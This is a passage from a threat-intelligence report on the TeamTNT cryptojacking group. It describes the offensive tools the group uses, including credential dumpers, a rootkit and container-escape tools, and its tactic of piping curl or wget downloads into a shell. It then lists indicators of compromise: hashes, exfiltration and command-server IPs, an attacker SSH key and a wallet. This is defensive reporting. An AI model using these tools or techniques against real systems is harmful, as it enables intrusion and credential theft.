&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig79.png" title="Figure 76: Screenshot from the official tmate site." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 76: Screenshot from the official tmate site.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;masscan&lt;span class="hx:absolute hx:-mt-20" id="masscan"&gt;&lt;/span&gt;
&lt;a href="#masscan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Masscan is a TCP port scanner written by security researcher Robert Graham, also
known as &lt;a href="https://twitter.com/ErrataRob"target="_blank" rel="noopener"&gt;ErrataRob&lt;/a&gt; on Twitter. The scanner has been designed to scan the IPv4 address
space very quickly and can be used for internet-wide scanning. To achieve this
speed it needs to use a userland-based network stack.&lt;/p&gt;
&lt;h3&gt;pnscan&lt;span class="hx:absolute hx:-mt-20" id="pnscan"&gt;&lt;/span&gt;
&lt;a href="#pnscan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pnscan, also known as Peter&amp;rsquo;s parallel Network Scanner, is a similar tool to
masscan. It can be used to scan an IPv4 network for SSH, FTP, SMTP, Web, IDENT,
and other services. The source code is hosted on &lt;a href="https://github.com/ptrrkssn/pnscan"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Tiny SHell&lt;span class="hx:absolute hx:-mt-20" id="tiny-shell"&gt;&lt;/span&gt;
&lt;a href="#tiny-shell" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/creaktive/tsh"target="_blank" rel="noopener"&gt;Tiny SHell&lt;/a&gt; (tsh) is an open-source Unix backdoor, divided into client and server,
written in C. It is small in size and supports multiple file transfers.&lt;/p&gt;
&lt;h3&gt;MimiPenguin&lt;span class="hx:absolute hx:-mt-20" id="mimipenguin"&gt;&lt;/span&gt;
&lt;a href="#mimipenguin" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/huntergregal/mimipenguin"target="_blank" rel="noopener"&gt;MimiPenguin&lt;/a&gt; is an open-source tool thal extracts login passwords similar to Mimikatz in
Windows. It dumps processes that are loaded into memory and extracts lines that
may contain cleartext passwords.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig80.png" title="Figure 77: Screenshot of the GitHub project MimiPenguin." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 77: Screenshot of the GitHub project MimiPenguin.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Mimipy&lt;span class="hx:absolute hx:-mt-20" id="mimipy"&gt;&lt;/span&gt;
&lt;a href="#mimipy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/n1nj4sec/mimipy"target="_blank" rel="noopener"&gt;Mimipy&lt;/a&gt; is a cross-platform and open-source tool that dumps passwords from processes
in memory. It is based on the MimiPenguin mentioned above. Mimipy has other
features that include: extracting credentials from browsers and HTTP servers,
support for lightDM, and overwriting passwords.&lt;/p&gt;
&lt;h3&gt;BotB&lt;span class="hx:absolute hx:-mt-20" id="botb"&gt;&lt;/span&gt;
&lt;a href="#botb" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/brompwnie/botb"target="_blank" rel="noopener"&gt;Break out of the Box (BotB)&lt;/a&gt; is an open-source tool designed to be used by pentesters. It has many
capabilities: exploits known container vulnerabilities to break out of the
container, find and use Kubernetes and GCP secrets, push data to an S3 bucket
and more.&lt;/p&gt;
&lt;h3&gt;Diamorphine&lt;span class="hx:absolute hx:-mt-20" id="diamorphine"&gt;&lt;/span&gt;
&lt;a href="#diamorphine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Diamorphine is a Linux Kernel Module rootkit written by &lt;a href="https://twitter.com/m0nadlabs"target="_blank" rel="noopener"&gt;Victor Ramos Mello&lt;/a&gt;. It&amp;rsquo;s hosted on &lt;a href="https://github.com/m0nad/Diamorphine"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;
and has support for kernel versions 2.6.x/3.x/4.x/5.x. It can hide processes,
files and elevate a given user to root. Interactions with the rootkit are via
signals.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig81.png" title="Figure 78: Screenshot of the GitHub project Diamorphine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 78: Screenshot of the GitHub project Diamorphine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Docker Escape Tool&lt;span class="hx:absolute hx:-mt-20" id="docker-escape-tool"&gt;&lt;/span&gt;
&lt;a href="#docker-escape-tool" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Docker Escape Tool is an open-source tool hosted on &lt;a href="https://github.com/PercussiveElbow/docker-escape-tool"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt; that identifies Docker
containers and tries to escape the container using known techniques. The purpose
of the tool is to assess the security of containers. Implemented techniques
include: mount Docker Unix socket, reach the Docker daemon on the default ports,
exploit a vulnerability in RunC that allows attackers to overwrite the host RunC
binary (CVE-2019-5736).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig82.png" title="Figure 79: Screenshot of the Docker Escape Tool repository on GitHub." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 79: Screenshot of the Docker Escape Tool repository on GitHub.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Das Fazit (Conclusion)&lt;span class="hx:absolute hx:-mt-20" id="das-fazit-conclusion"&gt;&lt;/span&gt;
&lt;a href="#das-fazit-conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Illicit cryptomining has become the major threat to Linux servers and cloud
environments. TeamTNT is one of the predominant threat actors in this field.
TeamTNT&amp;rsquo;s activity can be traced back to the Fall of 2019 in attacks against
Redis server. From this humble beginning, the threat actor has changed its
targets towards servers running Docker and now currently Kubernetes clusters.
Most of the tooling and tactics used by the group is similar to other threat
actors in the field. They predominantly structure their attacks around a set of
multiple shell scripts but also use open-source and source available tools. The
shell scripts are rarely written to disk, instead they are downloaded using
&lt;strong&gt;curl&lt;/strong&gt; or &lt;strong&gt;wget&lt;/strong&gt; and &amp;ldquo;piped&amp;rdquo; directly into a shell interpreter. This can
make it hard to investigate what has happened to a compromised machine as no
artifacts on the machine exist. They also clear logs to make the investigation
even harder.&lt;/p&gt;
&lt;p&gt;Since they are competing with other cryptojacking-focused threat actors, TeamTNT
employs different techniques to ensure that only their cryptominer is running.
In early campaigns, we have seen them &amp;ldquo;plug the hole&amp;rdquo; used to compromise the
machine, for example, by adding firewall rules to block external network
connections to access the vulnerable service. TeamTNT has also used different
techniques for hiding their processes on the machine, including userland
rootkits. Some of the scripts also include lists of other known cryptominers
that the threat actor tries to kill on the machine. This is a common technique
employed by many other threat actors in this field which essentially turns the
compromised machine into a game of &amp;ldquo;King of the Hill.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;What separates TeamTNT from other major threat actors in the cryptojacking field
is their public presence on the clear web. They maintain a public appearance on
Twitter and frequently tweet. Based on the public persona, it can be assumed
that they are based in Germany. The threat actor commonly interacts with German
politicians, tweets about their ongoing campaigns, and comments on reports by
the security industry. The majority of these comments are to take credit for
their work. During the Spring of 2021 some campaigns were attributed to TeamTNT
but the threat actor refuted that it was their work. This suggested the
emergence of an imitator reusing some of TeamTNT&amp;rsquo;s older shell scripts. It
remains to be seen if this will affect their activity and if they will continue
to target Kubernetes clusters or if they will move on and target new cloud
infrastructure.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Pre-February Campaign&lt;span class="hx:absolute hx:-mt-20" id="pre-february-campaign"&gt;&lt;/span&gt;
&lt;a href="#pre-february-campaign" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bsh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;125dc99b9f94d5548bb68b371cb2ff22134b60b1fef915d1ae85b025f4039be0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ash.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;561b76684d80084bd4b924e439f7e37683f486ca94fa088f283402dc7443271c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dcc96cdc7192a41fb242a680a83969e16247511816dc0f80e63b134059497ad1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hole64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;36.7.154.124&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;116.62.122.90&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3.215.110.66&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;125.254.128.200&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;SSH Key&lt;span class="hx:absolute hx:-mt-20" id="ssh-key"&gt;&lt;/span&gt;
&lt;a href="#ssh-key" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIzB9hz7bNT6qtQKCMcitaaxEB9RyJEZuumE&amp;#43;gUMrh6hg3ccSMg9qnAlS/Lmw5SwwLJQXMB5WuhclPJsVawuP&amp;#43;pfsm1ZiGF2JnczEW5kBw1o5Fl/6WOV1p9MOaXHAbpi7o/5Zauu3lTktyIWuP5R9l/2pUWcFZInnaiOr1KNtCBPisNYbZ4FWAQVGwXzUWZ/ZE7SYIoOUm3EJihPPiTulegUmIzc7TzrnEn9M3U8K&amp;#43;LVFye&amp;#43;wDeSC3WNYwfjGQJA4aFsANOiz89olh77G7IaDR8LghNfVVkRjaJ6onDZwb2CZWSivkFsdYtL6690S407eqoes7wkJudo9Qxsn9wxNv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;February 2020 Campaign&lt;span class="hx:absolute hx:-mt-20" id="february-2020-campaign"&gt;&lt;/span&gt;
&lt;a href="#february-2020-campaign" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-1"&gt;&lt;/span&gt;
&lt;a href="#files-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;32bit.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;40c298446a7e53c3775f67deedf5d13b7c2c601de3c744f72fda42f99c156075&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;64bit.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4f2ee441b35e8e0fe99608a011b632db219bd6631bcda39899b747a0dd38b5c6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bioset&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;config.json&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1470c3100b976ae2d4f9a1def5d6c6715d4f050e7de5e261b5d4e4a2faf9603d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cyo.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;77334b8e3c8df468eda2ef93467d63e41dab7beb451a3bbb5637473fabc620d6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dbus-config&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b7225aefd8fb399a7f18639c32c59442daa5401b6164130e316092e8618f667f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;FullCleanUp.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6a1221fc82b2bf13dc8112795d3edfb7bab8df7a9d4af69b89da4ac31e0e87e5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hfile&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e5f48ccf07addd83986f5b6f9444d5f91cacbb5c471b815a2b68a9c02727821b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hid.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe6e522ff266867060fa70d85be299ac5b12f2888935c5fe6e0a07d3ccaa1de2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;logs.c&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;59aa2101b05225dd0eb7e7b456eb26357540723e3c1d8a10deca83e9715a10fb&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b5ba2c86ebf85cbf700c83d7edc034717d7ee08e84fbae440a38139c15ef7a27&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;NarrenKappe.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a25a73af06c43a20eb9f4f8b67357cec3c74143ccf97ce666446296a360d93fa&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pnscan-1.11.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;702b123a3abd518ac696c9e340e1aaf4742d271922b8b537d8595ea6486d7aa8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;punk.py&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a66140870d0a71c7bd42b7631e4a85858e6b33e4a21be637b94d41833dee8383&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;rd.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;d42ee8a001de9b13496f2980de6ca22b544a5a9012e9e97374343411593c2c29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dad3016b75e89b415e3c7e360ec2ffa31e48b667082843013bbff719add826c7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;s_poor.ssh.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1eead4f456ed8741d1de821e2fcecb026c1cbbf3477786cc3e637eac05811f46&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sysinfo.txt&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;53ba0436084f054c9c2c8aaf110f2c89c3c8b1fd9f1e4ca48cedfa86b7dece81&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;tmp.min.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;669ace6d57c68e4a7f2fabcacfecf485a5c90bfc28a809a432e68b53f60836a4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e0876231c4829e0c7be4ffe47466b57e17a15e9c1529f332f813ea532716c945&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;whois2.irc.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;795a3d99c1e8e34a6228d95c4435c5ed7c866dc0e303f9788ea6fe055b1a7ac6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;whois.irc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;205db0ef59cad167c6132916f8f7a1d1963e740b36400419b2e5ba307e9f765c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;32-bit Archive&lt;span class="hx:absolute hx:-mt-20" id="32-bit-archive"&gt;&lt;/span&gt;
&lt;a href="#32-bit-archive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;69fea980538a12ac0791f0801fc93d8b4d16e8329793d635221a16f935e8ca07&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;XMRig Miner&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4256402fc04e49f3da8d1bf88efdcca6a3b03f4b881777d2c32a8df364cececd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;64-bit Archive&lt;span class="hx:absolute hx:-mt-20" id="64-bit-archive"&gt;&lt;/span&gt;
&lt;a href="#64-bit-archive" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bioset&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;da43ed194729f82db68b1d91a17cea6afde8ae81357116c35c4c129888a836bf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;config.json&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;285e91d3d578fcaf6665c70de457f602d572203b04c281c03b4bf9103aa5f61f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;do.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;9c29d4ecf6a60e7bfc0afbaa7a669a18af163440730711367d1c715042b5f755&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;920014ace9add87139db41eb2538b292ad136fde7ac5f683eb3b31e0fed5f808&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;rstart.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4beaf3edbd1065c0dfd02cf864effe3d1e18d0f39275f0d49cb21951a12976c3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;systemd-clean&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3a2aa7235f0617df430b3d556779bee2ae0af75d7c2f17f052971d3f38fad9e0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fdf26ebad48da26be59b5784f43d1e5ee2efa93c59a717fe2ae1d82bf3f016d3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.initd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;16b26d9e4413c2f6d081ca093106935673747d5266aaa33f51c845e65b90e904&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd.service&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;264c9b440f2fbd03000211a92a8bbb190f69c78dc087b8f757b3e8676554df57&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;watchdogd-stop&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;020ba2a9f603588dbc6498a6e230249c6952daa920a58de89d997b3fcdc4c115&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;XMRig Miner&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;b6f57f8a7fba70d6660335828d2a14029c88079a8176dca2c63281a759fd84ca&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network-1"&gt;&lt;/span&gt;
&lt;a href="#network-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Value&lt;/th&gt;
&lt;th style="text-align: left"&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;icanhazip.com&lt;/td&gt;
&lt;td style="text-align: left"&gt;Used to determine IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;teamtnt.red&lt;/td&gt;
&lt;td style="text-align: left"&gt;Main server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;123.56.193.119&lt;/td&gt;
&lt;td style="text-align: left"&gt;Exfiltration server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;116.62.122.90&lt;/td&gt;
&lt;td style="text-align: left"&gt;Old server still used by some scripts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;120.26.230.68&lt;/td&gt;
&lt;td style="text-align: left"&gt;Miner CC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;80.211.206.105&lt;/td&gt;
&lt;td style="text-align: left"&gt;Command center&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Wallet&lt;span class="hx:absolute hx:-mt-20" id="wallet"&gt;&lt;/span&gt;
&lt;a href="#wallet" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://bohemianpool.com/"target="_blank" rel="noopener"&gt;89X8a5RqKMGLubB19DwVVqPxgF27C8hqpbtWMqNorpsDSu6Qw5uu4iJF8WwoLt2VQGRgALfjEqpq61awRTaBwpciDatbCNB&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Spring 2020&lt;span class="hx:absolute hx:-mt-20" id="spring-2020"&gt;&lt;/span&gt;
